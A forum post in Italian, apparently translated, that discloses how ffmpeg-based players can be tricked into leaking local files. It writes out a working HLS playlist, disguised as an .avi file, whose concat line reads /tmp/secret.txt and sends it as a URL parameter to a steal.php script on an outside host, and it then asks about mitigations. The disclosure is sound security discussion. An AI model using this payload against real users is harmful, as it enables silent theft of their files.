Sono stato un utente pesante di lettori e codificatori basati su ffmpeg per anni, e sebbene abbia sentito parlare di numerosi problemi di sicurezza, ho sempre pensato che rimanere aggiornati fosse abbastanza sicuro. Tuttavia, ho appena visto un articolo ( in russo ) che spiega come utilizzare ffmpeg senza fare affidamento su alcun bug a tutti.
Per i più coraggiosi:
Crea un file /tmp/secret.txt
con una parola segreta (importante: nessuna nuova riga alla fine). Ora riproduci questo video dall'aspetto innocente :
link
con un lettore basato su ffmpeg o libav (ho testato SMPlayer 14.9.0 su Debian). La tua parola segreta appare nel video?
Gli utenti Windows possono provare link che tenta di rubare c:\secret.txt
, anche se non ho provalo.
Come funziona:
steal_secret.avi
è in realtà un file HTTP Live streaming che assomiglia a questo:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST
Indica a SMPlayer di concatenare tre file: un'intestazione, secret.txt
e un piè di pagina. Il risultato di questa concatenazione è, ancora una volta, un file HLS che assomiglia a questo:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST
Questa volta, i contenuti di secret.txt
vengono inviati a steal.php
come parametro URL. Nel mio caso, steal.php
stampa semplicemente indietro your secret is <your_secret_word>
1000 volte, quindi viene visualizzato all'interno del video. Un vero aggressore avrebbe potuto salvare il segreto e mostrare all'utente una clip innocente, senza alcun sospetto.
Si noti che questo trucco non si basa su bug, utilizza un formato supportato e una funzione di concatenazione utile. E spesso non devi nemmeno cliccare sul file: il tuo gestore di file eseguirà ffmpeg su di esso per generare una miniatura.
Che cosa fare?
Oltre all'ovvio consiglio di stare attenti con i file non fidati e di non utilizzare mai la GUI come root, cosa si potrebbe fare per minimizzare il rischio? In particolare, quale lettore multimediale dovrei usare per aprire questi file? Finora, il mio esempio funziona solo con mplayer e SMPlayer, che supportano concat
, ma mi chiedo se altri lettori multimediali che supportano HLS possano essere sfruttati in modo simile.